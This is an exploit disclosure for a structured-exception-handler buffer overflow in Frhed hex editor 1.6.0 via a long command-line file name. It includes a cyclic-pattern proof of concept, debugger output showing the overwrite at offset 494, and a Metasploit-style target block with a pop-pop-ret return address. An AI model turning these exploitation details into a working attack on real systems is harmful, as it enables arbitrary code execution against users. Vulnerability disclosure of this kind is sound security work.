Frhed (Free hex editor) v1.6.0 – Buffer overflow
# Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow # Discovery by: Rafael Pedrero # Discovery Date: 2022-01-09 # Vendor Homepage: http://frhed.sourceforge.net/ # Software Link : http://frhed.sourceforge.net/ # Tested Version: 1.6.0 # Tested on: Windows 10 CVSS v3: 7.3 CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H CWE: CWE-119 Buffer overflow controlling the Structured Exception Handler (SEH) records in Frhed (Free hex editor) v1.6.0, and possibly other versions, may allow attackers to execute arbitrary code via a long file name argument. Proof of concept: Open Frhed.exe from command line with a large string in Arguments, more than 494 chars: File '<Frhed_PATH>\Frhed.exe' Arguments 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...' SEH chain of main thread Address SE handler 0018FC8C 41367141 35714134 *** CORRUPT ENTRY *** 0BADF00D [+] Examining SEH chain 0BADF00D SEH record (nseh field) at 0x0018fc8c overwritten with normal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclic data after the handler 0BADF00D ------------------------------ 'Targets' => [ [ '<fill in the OS/app version here>', { 'Ret' => 0x00401ba7, # pop ecx # pop ecx # ret - Frhed.exe (change this value by other without \x00) 'Offset' => 494 } ], ], |